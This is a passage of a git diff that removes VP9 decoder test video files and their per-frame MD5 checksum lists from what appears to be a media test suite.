-b2379c4b28dca10e67ac58631f9731c0  vp90-2-03-size-226x226-226x226-0006.i420
-b16fd651884340a428cea3fe0ac18ba6  vp90-2-03-size-226x226-226x226-0007.i420
-cb65cd4c421cfd6a19fb123ec27abbe6  vp90-2-03-size-226x226-226x226-0008.i420
-7f1d2686b9808de8ecc723b18136d57d  vp90-2-03-size-226x226-226x226-0009.i420
-da7fd4bff4b6db0221c42492876c5c4d  vp90-2-03-size-226x226-226x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_06_bilinear.vp9 b/tests/tests/media/res/raw/vp90_2_06_bilinear.vp9
deleted file mode 100644
index a492d03..0000000
--- a/tests/tests/media/res/raw/vp90_2_06_bilinear.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_06_bilinear_vp9_md5 b/tests/tests/media/res/raw/vp90_2_06_bilinear_vp9_md5
deleted file mode 100644
index 25231b98..0000000
--- a/tests/tests/media/res/raw/vp90_2_06_bilinear_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-818a5af531c921ae58dfedc75234f3c5  -352x288-0001.i420
-f863f8c68b5c87c721d345c5a894336d  -352x288-0002.i420
-3f1213e44db416530bc0717f0a795b5d  -352x288-0003.i420
-4b99c16a62c3d6687c78236fa13e1f41  -352x288-0004.i420
-80f23a3f04215dd7542128e7c53d68d0  -352x288-0005.i420
-b40b7aa34a77fe773d82d75b5bdd9c13  -352x288-0006.i420
-dd4af6263d20bbaf9afedb6695c1ba67  -352x288-0007.i420
-1f2ccf88f15c10e3c27b2368dacc3727  -352x288-0008.i420
-232b027c4e9b598f50d078bb7b7a165e  -352x288-0009.i420
-2b44367332aa0fe42362d61f18e7f8dd  -352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_07_frame_parallel.vp9 b/tests/tests/media/res/raw/vp90_2_07_frame_parallel.vp9
deleted file mode 100644
index 2c80a2d..0000000
--- a/tests/tests/media/res/raw/vp90_2_07_frame_parallel.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1.vp9 b/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1.vp9
deleted file mode 100644
index 10f6eb7..0000000
--- a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1_vp9_md5 b/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1_vp9_md5
deleted file mode 100644
index a6261c8..0000000
--- a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1_vp9_md5
+++ /dev/null
@@ -1,40 +0,0 @@
-b5d461894f957709576d15f6dce3d69e  vp90-2-07-frame_parallel-1.webm-352x288-0001.i420
-54e45dfe575d9843c198270f62154c09  vp90-2-07-frame_parallel-1.webm-352x288-0002.i420
-c3798fe06d2c0adbb43410b76c67c0cd  vp90-2-07-frame_parallel-1.webm-352x288-0003.i420
-2cc4ad256a586ff2be650adce4d7f332  vp90-2-07-frame_parallel-1.webm-352x288-0004.i420
-3e63839f0aaedfeaf71cf2868e506bdd  vp90-2-07-frame_parallel-1.webm-352x288-0005.i420
-ca0a10c9144084231f801fa6f0433eb4  vp90-2-07-frame_parallel-1.webm-352x288-0006.i420
-c920d177c21a8b0dee8fdbce1edfd75c  vp90-2-07-frame_parallel-1.webm-352x288-0007.i420
-6afe32287ff1dcaa42630bbf9fe32bad  vp90-2-07-frame_parallel-1.webm-352x288-0008.i420
-0bc39f7c6fbc1fb18dce622d17b0856e  vp90-2-07-frame_parallel-1.webm-352x288-0009.i420
-6f92688afcd228649627c1757417bfe5  vp90-2-07-frame_parallel-1.webm-352x288-0010.i420
-338920379e1746eff6bc1c53553c400e  vp90-2-07-frame_parallel-1.webm-352x288-0011.i420
-2beb514ca62779c7c20e1dff0ccc496a  vp90-2-07-frame_parallel-1.webm-352x288-0012.i420
-e7b4dcc8437af45f363a3b24439323d2  vp90-2-07-frame_parallel-1.webm-352x288-0013.i420
-10bac4f44ae04e2d9f3219044a273f3c  vp90-2-07-frame_parallel-1.webm-352x288-0014.i420
-45581dbebb5074f698ad6d22d52f02b6  vp90-2-07-frame_parallel-1.webm-352x288-0015.i420
-9480f12b47b834003d6d572b9fdfdda1  vp90-2-07-frame_parallel-1.webm-352x288-0016.i420
-b31f361b8971a56338b3960c18177b7c  vp90-2-07-frame_parallel-1.webm-352x288-0017.i420
-79d631a53008d36f8ff5248a8592ffdc  vp90-2-07-frame_parallel-1.webm-352x288-0018.i420
-0efc005919f5a1cdded77ae91245d3be  vp90-2-07-frame_parallel-1.webm-352x288-0019.i420
-bf0d1144000094b3eb333b3dab466ace  vp90-2-07-frame_parallel-1.webm-352x288-0020.i420
-80c0d7ccfa044dc8fe1967951c4d4fea  vp90-2-07-frame_parallel-1.webm-352x288-0021.i420
-28c8e8c406a804cde7feba37e0fda689  vp90-2-07-frame_parallel-1.webm-352x288-0022.i420
-8bef0cfaa4c298d93d20b88c17ef4864  vp90-2-07-frame_parallel-1.webm-352x288-0023.i420
-9488e35310228d5930fccc4a2ee5a96d  vp90-2-07-frame_parallel-1.webm-352x288-0024.i420
-638394b668015141ba1ff97c89034e32  vp90-2-07-frame_parallel-1.webm-352x288-0025.i420
-85aff2c821b25962d3f72208a5f05992  vp90-2-07-frame_parallel-1.webm-352x288-0026.i420
-ec68bb46a7ef2e90c07b7dcfb406eb20  vp90-2-07-frame_parallel-1.webm-352x288-0027.i420
-7b0f3a57f320b1fe33ad5ac03ba0e568  vp90-2-07-frame_parallel-1.webm-352x288-0028.i420
-da461e5510f591c17675d9d7ec9532c4  vp90-2-07-frame_parallel-1.webm-352x288-0029.i420
-d2997aa173f757dd2ef78b58f5d5a109  vp90-2-07-frame_parallel-1.webm-352x288-0030.i420
-ff70094752edf348767a47db71d2dfd0  vp90-2-07-frame_parallel-1.webm-352x288-0031.i420
-52ec9a87ad6df24714fbe6b3384b3f10  vp90-2-07-frame_parallel-1.webm-352x288-0032.i420
-665a0ee3f3ce1a100aae8ff12e8f5193  vp90-2-07-frame_parallel-1.webm-352x288-0033.i420
-98e6fcabfa61b3ca20844c4ce02cdc59  vp90-2-07-frame_parallel-1.webm-352x288-0034.i420
-8e9a1c517df8a280b27e525e3b60ec6f  vp90-2-07-frame_parallel-1.webm-352x288-0035.i420
-58701ab08edeed3f9f969742b64dbb35  vp90-2-07-frame_parallel-1.webm-352x288-0036.i420
-d901de4fdc5fc2352578116bacefade2  vp90-2-07-frame_parallel-1.webm-352x288-0037.i420
-3b9d9902ea331b3fb5ceb255e66731b3  vp90-2-07-frame_parallel-1.webm-352x288-0038.i420
-3ac2e9b87a373667686c82fc7f14e6be  vp90-2-07-frame_parallel-1.webm-352x288-0039.i420
-fe198064dd4e6ef3ef829ba41c92d002  vp90-2-07-frame_parallel-1.webm-352x288-0040.i420
diff --git a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_vp9_md5 b/tests/tests/media/res/raw/vp90_2_07_frame_parallel_vp9_md5
deleted file mode 100644
index 7e598ae..0000000
--- a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-4480e19849cb7b042355a42011fa2d89  vp90-2-07-frame_parallel-352x240-0001.i420
-1d48490e61c0109b301938facb648987  vp90-2-07-frame_parallel-352x240-0002.i420
-9c9140e23a56114ea3cc9bae01c6f2be  vp90-2-07-frame_parallel-352x240-0003.i420
-cbdd934532bd9c9c27079d17e570e4af  vp90-2-07-frame_parallel-352x240-0004.i420
-db86f11f02c0936371f59a292e32976d  vp90-2-07-frame_parallel-352x240-0005.i420
-6fc5f675eb7e1ccdfa5230208dcbc608  vp90-2-07-frame_parallel-352x240-0006.i420
-39fcd15c8cf524a9acce7a66982acec5  vp90-2-07-frame_parallel-352x240-0007.i420
-8c24475c41ec9d5aaa7954f997da12c4  vp90-2-07-frame_parallel-352x240-0008.i420
-5b9747332e303f62b73d4cd2728ac93c  vp90-2-07-frame_parallel-352x240-0009.i420
-706f3fc0042b9e6e8b91318ecd55fce8  vp90-2-07-frame_parallel-352x240-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x2.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x2.vp9
deleted file mode 100644
index de3593a..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel.vp9
deleted file mode 100644
index 1895056..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel_vp9_md5
deleted file mode 100644
index 7e6b4f2..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-124dcaf4393bbc676cefc1dcfc1474b9  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0001.i420
-02e0c145da3e3c711f13dad6d5d9f2ec  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0002.i420
-bd276b44124d01ea89cb428a3532a87e  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0003.i420
-fc1eb96ba3b93382a8cf3dee39928d85  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0004.i420
-0b7b92b084684377795f6fcc549f7677  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0005.i420
-208972b2d34f0a7a6616570d8279c1f1  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0006.i420
-33f15b325f9367cf1f58e2e25ccc7bed  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0007.i420
-d7f75036195e89dcbcaba566c1d6cad8  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0008.i420
-bdc3a5b228f0afa3f969d5f99685a501  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0009.i420
-d436084146d6be84df15f5fb94067d53  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x2_vp9_md5
deleted file mode 100644
index f979f7f..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-124dcaf4393bbc676cefc1dcfc1474b9  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0001.i420
-5f3357dc102c9db11e7b68d277f31f99  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0002.i420
-a5fb34b4a52fbc7b8290bffe988ffb01  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0003.i420
-1405fa1086ac63d4f5e8ed1ca0ad192a  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0004.i420
-0ead62c1d7c7c44f316e601d8fea16ba  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0005.i420
-204e05b399becce6e936bb3ac739fbe3  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0006.i420
-a27c70e46f6b2c40d6d0a13befede3ac  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0007.i420
-71434072992ec693ae809086760cad22  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0008.i420
-790a525234048c0645cc81f6a042c9c3  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0009.i420
-751b37a7b9401a5ca30dc2673070f881  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x4.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x4.vp9
deleted file mode 100644
index 2cc32ae..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x4.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel.vp9
deleted file mode 100644
index d712a9c..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel_vp9_md5
deleted file mode 100644
index 0541f98..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c8a7f0299fb945318bbb6fd531885339  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0001.i420
-88001dece48c52b0f34afc9137915c9e  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0002.i420
-71c3bc238c76f1e3a81bc70aa7dcacfc  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0003.i420
-32726efd04e67dc09c055481f0189c76  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0004.i420
-7c8fa7372885d16b73f79cbddfd7d45c  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0005.i420
-0d9a3324f574bccd9903ee040eee1787  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0006.i420
-630fb9507a52803b50ea959a36ff60b8  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0007.i420
-d5d7b249db773ec3c5b49567aff761e9  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0008.i420
-b480f582b52d291aeffb97e6d572731b  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0009.i420
-be72a4c2f29317441344cc4d73b24333  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x4_vp9_md5
deleted file mode 100644
index 23297f5..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c8a7f0299fb945318bbb6fd531885339  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0001.i420
-22dde3e7feb2177aa350db7331e8fa8f  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0002.i420
-ba644eea2bd5cded05a7b82224a02d30  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0003.i420
-0611f83948b22eb4bd5973fa0485dcda  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0004.i420
-a8eea6193af51dbd06d953165b3de261  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0005.i420
-1e76d8ec66941c9185e0747307a1496c  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0006.i420
-d8404c3e80c2773173e362ff622b6f3c  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0007.i420
-beed5600864a9b961c983d7a7a670bc1  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0008.i420
-9efbe9228f6a437fe450215f711ea429  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0009.i420
-1b65f47a5c11c5b763123d337482bd92  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x8.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x8.vp9
deleted file mode 100644
index 4e9374f..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x8.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel.vp9
deleted file mode 100644
index ba4e864..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel_vp9_md5
deleted file mode 100644
index f36f297..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f91ceda125d592a3f9537d02df06c4f3  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0001.i420
-563dae097075cd4002b16ffb2be42cf2  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0002.i420
-1f035d79632516b58c56813c113e0f23  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0003.i420
-0db334dafa73ec37699a96e21bf065d0  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0004.i420
-445a1d62a17f7362c1a14179bededcab  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0005.i420
-4c80d03262518f957c54afd6e02d3610  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0006.i420
-bc6be97c7e509af0903509a260f5ccb6  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0007.i420
-27a679a8bbf2eef3eb1dc6cb221ec467  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0008.i420
-eb3b064727f265bd29407f334a51c1ab  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0009.i420
-3e0caeeef59797f9ec278e190170c285  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x8_vp9_md5
deleted file mode 100644
index a13a4d7..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f91ceda125d592a3f9537d02df06c4f3  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0001.i420
-a911be78a743ed0f21463bfb82efbd44  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0002.i420
-85d7cddba48b9e26b089da7f40fd4c71  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0003.i420
-39241fe3e171fafbc95966c03042699d  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0004.i420
-7b8500c53fce2702d204b6fc888f33fb  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0005.i420
-8197c61dcecdbd975fe54771f34c5df2  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0006.i420
-f28ebf18412521df51b9d6a3ffd44f4b  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0007.i420
-0d576800a02952e825f1721fc13ac695  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0008.i420
-0eb34a14d7a89ee4c951759a35673b13  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0009.i420
-11fb21038d63e3b431f92e0a4152c2f4  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_4x1.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_4x1.vp9
deleted file mode 100644
index e4f9580..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_4x1.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_4x1_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_4x1_vp9_md5
deleted file mode 100644
index 85d3f2a..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_4x1_vp9_md5
+++ /dev/null
@@ -1,5 +0,0 @@
-82fe82552fc693418e68f7757c67bbcb  vp90-2-08-tile-4x1-1920x1080-0001.i420
-28db6328c54d2dbe7e9efae5ca58cec8  vp90-2-08-tile-4x1-1920x1080-0002.i420
-72f6459dd217ddd05f42cd9e8d6f689f  vp90-2-08-tile-4x1-1920x1080-0003.i420
-12eeebc1533f812d01df0e2b2b8cf0f3  vp90-2-08-tile-4x1-1920x1080-0004.i420
-7ddc1f11bb28f6ad235832e6a1bb88dd  vp90-2-08-tile-4x1-1920x1080-0005.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_4x4.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_4x4.vp9
deleted file mode 100644
index 99e18c7..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_4x4.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_4x4_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_4x4_vp9_md5
deleted file mode 100644
index 5bb175c..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_4x4_vp9_md5
+++ /dev/null
@@ -1,5 +0,0 @@
-a3b9b715a7e2aed15430faabb3c8b7b3  vp90-2-08-tile-4x4-1920x1080-0001.i420
-85fa2105aa554e680056d1a413ac9673  vp90-2-08-tile-4x4-1920x1080-0002.i420
-4abb371be22d7914bb62b30d901c30ce  vp90-2-08-tile-4x4-1920x1080-0003.i420
-83c2528204ae3fd4d4cc8fc67b641d3a  vp90-2-08-tile-4x4-1920x1080-0004.i420
-86fcc862b8c8d64690ba3c4a6bff9f74  vp90-2-08-tile-4x4-1920x1080-0005.i420
diff --git a/tests/tests/media/res/raw/vp90_2_09_aq2.vp9 b/tests/tests/media/res/raw/vp90_2_09_aq2.vp9
deleted file mode 100644
index 26c09a5..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_aq2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_09_aq2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_09_aq2_vp9_md5
deleted file mode 100644
index 57ce2c8..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_aq2_vp9_md5
+++ /dev/null
@@ -1,100 +0,0 @@
-7fd2573f979a4c0fcc74c6ed37599738  vp90-2-09-aq2-352x240-0001.i420
-c2fba96de0561d78d96425813bdf0da0  vp90-2-09-aq2-352x240-0002.i420
-108b4bfeae261da9758675bce8b4645f  vp90-2-09-aq2-352x240-0003.i420
-43b6e3bb1c3f6d15033f16fbd4355265  vp90-2-09-aq2-352x240-0004.i420
-e5a63b53ba5c19370c6f5fdb812014b5  vp90-2-09-aq2-352x240-0005.i420
-de4aa11cfd57d3fa11c8e29faec64bea  vp90-2-09-aq2-352x240-0006.i420
-b70e555bc41eafa68db19d81780fe7b9  vp90-2-09-aq2-352x240-0007.i420
-8a49e3307faef41ecfecfdaa29f48d1f  vp90-2-09-aq2-352x240-0008.i420
-ed01509dcb01ba6644137e7f0f588f13  vp90-2-09-aq2-352x240-0009.i420
-15630dcfe0ec0f27abace3e2ac80d47a  vp90-2-09-aq2-352x240-0010.i420
-2f023d334f0d0d7ea7724ddd075b41a3  vp90-2-09-aq2-352x240-0011.i420
-3fd72535813e4943d1e4b19f7e554b00  vp90-2-09-aq2-352x240-0012.i420
-360db62794959e018a04c3650e832d60  vp90-2-09-aq2-352x240-0013.i420
-33638c46202958cabd78356f18101b88  vp90-2-09-aq2-352x240-0014.i420
-d8a3d7541654307f3b500cb6399fccd1  vp90-2-09-aq2-352x240-0015.i420
-cd2a41d7d0f21c02919ffb87b9510b55  vp90-2-09-aq2-352x240-0016.i420
-54b8f6b3d7e2edb67db7c3aa7f5a973b  vp90-2-09-aq2-352x240-0017.i420
-ddabc76c8b2af158e5feed0f48106429  vp90-2-09-aq2-352x240-0018.i420
-b22c40581501676d588a77b502cb5e48  vp90-2-09-aq2-352x240-0019.i420
-e25c4976462fe37b0119e719e7a9a65b  vp90-2-09-aq2-352x240-0020.i420
-1fcf289ba81a469926b63e9fa70fc184  vp90-2-09-aq2-352x240-0021.i420
-6a7392c22ffac7c6a4bfe7012e8dfa29  vp90-2-09-aq2-352x240-0022.i420
-9b74dc670c67073a582b3c8d390caaf5  vp90-2-09-aq2-352x240-0023.i420
-23b18dc9b7eb27b55e0068c1d75de8ad  vp90-2-09-aq2-352x240-0024.i420
-0a94a263b90e08e88909deafd5c42b7c  vp90-2-09-aq2-352x240-0025.i420
-9b940506b41816d2030f7a2089d83ea3  vp90-2-09-aq2-352x240-0026.i420
-da88cae2ec9324ad19365871ec893d45  vp90-2-09-aq2-352x240-0027.i420
-323cf97cddde5a9cea5f338b7ab17860  vp90-2-09-aq2-352x240-0028.i420
-455506b023df603e494bcc36ffcce179  vp90-2-09-aq2-352x240-0029.i420
-7dc8cf924ca17b6f19c7ed5e7d584835  vp90-2-09-aq2-352x240-0030.i420
-88e4c47e343182051fef005676fc3112  vp90-2-09-aq2-352x240-0031.i420
-e4891dfcc239d80f3240b85fe48f3957  vp90-2-09-aq2-352x240-0032.i420
-e559abcb6717ca8b211159010beebef8  vp90-2-09-aq2-352x240-0033.i420
-3b96d340f65e415d40d60bf6a3bedefc  vp90-2-09-aq2-352x240-0034.i420
-51131241975195394fb3eaa13ca1b43f  vp90-2-09-aq2-352x240-0035.i420
-ceefc4774251000943f2d58c68f2b3d3  vp90-2-09-aq2-352x240-0036.i420
-76524ef8a7f1ab5199124e8bff7bc559  vp90-2-09-aq2-352x240-0037.i420
-906cf4fc07aacb1f0a3ceaf7eeda2e74  vp90-2-09-aq2-352x240-0038.i420
-c7ad9d7bc30af316285b962b9eda4c9a  vp90-2-09-aq2-352x240-0039.i420
-424a7133c0bb45a2601733a39f8d70fa  vp90-2-09-aq2-352x240-0040.i420
-e76eac1e8e9529609ad1bf3e4c44e4d0  vp90-2-09-aq2-352x240-0041.i420
-e238dcef853fed9f7322cb1d73dceef5  vp90-2-09-aq2-352x240-0042.i420
-a0f2d7cd7f628fca6992ccb2ca418133  vp90-2-09-aq2-352x240-0043.i420
-4d07e59c0935554b624409bd904264ef  vp90-2-09-aq2-352x240-0044.i420
-d0944fdf52b02c4ff8fd7fcb944ae00c  vp90-2-09-aq2-352x240-0045.i420
-f719c346201b393262d4764bc989c4fd  vp90-2-09-aq2-352x240-0046.i420
-951d18cb2791c55ebed8321dba537eb9  vp90-2-09-aq2-352x240-0047.i420
-f764f5aaac4f19b131377e16d034de9a  vp90-2-09-aq2-352x240-0048.i420
-871f7a2201dd951ba541625219a8f000  vp90-2-09-aq2-352x240-0049.i420
-05e9bf3f38aacd65a796400247c8d149  vp90-2-09-aq2-352x240-0050.i420
-7bdc6fc1fe6a1e24cb952e10ed19ab68  vp90-2-09-aq2-352x240-0051.i420
-a92e8a9e7ba4d24adcf63ab897057e68  vp90-2-09-aq2-352x240-0052.i420
-7ec84b978b27052954fac85142582c2c  vp90-2-09-aq2-352x240-0053.i420
-10153d3889093a27aa2aa7a4380d6372  vp90-2-09-aq2-352x240-0054.i420
-1313e1ab4c7c6c01b3b25ff7fc84da9f  vp90-2-09-aq2-352x240-0055.i420
-810d9122895dcb90fae58be03af9980b  vp90-2-09-aq2-352x240-0056.i420
-f77fb637d12d958099d534f4a1689eb7  vp90-2-09-aq2-352x240-0057.i420
-3570f0094d3f06efa648ff4d9db2a25d  vp90-2-09-aq2-352x240-0058.i420
-8f22721b7e56e04d41d2af7cbf2ca349  vp90-2-09-aq2-352x240-0059.i420
-fee5d638fa94a6d1a2fa1dfc86a3f131  vp90-2-09-aq2-352x240-0060.i420
-c9e2f58d5f3f8c3ad527e9bd53e12372  vp90-2-09-aq2-352x240-0061.i420
-6507534d0c9fbd22c76f1f7753f000ce  vp90-2-09-aq2-352x240-0062.i420
-cd944cf2a7dbd30ab4fc4b99f4041379  vp90-2-09-aq2-352x240-0063.i420
-15bbc0674190eeb1112a27746dce3726  vp90-2-09-aq2-352x240-0064.i420
-7270c42f643a9f27095dade9f1b6b62e  vp90-2-09-aq2-352x240-0065.i420
-7f47919091ccd7072a2068904f582679  vp90-2-09-aq2-352x240-0066.i420
-1e3c77d769a978bf9dc9188c0f1ed105  vp90-2-09-aq2-352x240-0067.i420
-4a4613749f272b7a04e6ead37844f73c  vp90-2-09-aq2-352x240-0068.i420
-8967e0f52af43110004dce3f78c8fc75  vp90-2-09-aq2-352x240-0069.i420
-e3b979ec8ed4e389abaeea149b86b407  vp90-2-09-aq2-352x240-0070.i420
-fd3c72c5249c214a85e0957279090781  vp90-2-09-aq2-352x240-0071.i420
-7fe861180df75e21f4b8937ae506d601  vp90-2-09-aq2-352x240-0072.i420
-8804a39483b5a8d7ae03003ee8b3152a  vp90-2-09-aq2-352x240-0073.i420
-30a1b0bd147277f8fc50de11c2c8dc93  vp90-2-09-aq2-352x240-0074.i420
-7cb788efedd325f45bd4785f89432115  vp90-2-09-aq2-352x240-0075.i420
-a162c8ab7fa0dafdc3313a69bc7f1e38  vp90-2-09-aq2-352x240-0076.i420
-83905de481bd1cafa16cd96698337c25  vp90-2-09-aq2-352x240-0077.i420
-3d75f99043ea4bf2364844474e180079  vp90-2-09-aq2-352x240-0078.i420
-89975274a8a72af7d2cdee9fbe907852  vp90-2-09-aq2-352x240-0079.i420
-e05c9a7af0ea61d4ef4476de4d7c97cd  vp90-2-09-aq2-352x240-0080.i420
-dfc99210a942a7427033cce9b596e0fa  vp90-2-09-aq2-352x240-0081.i420
-544361eecb8c3b45feb1dbef5c0a39a2  vp90-2-09-aq2-352x240-0082.i420
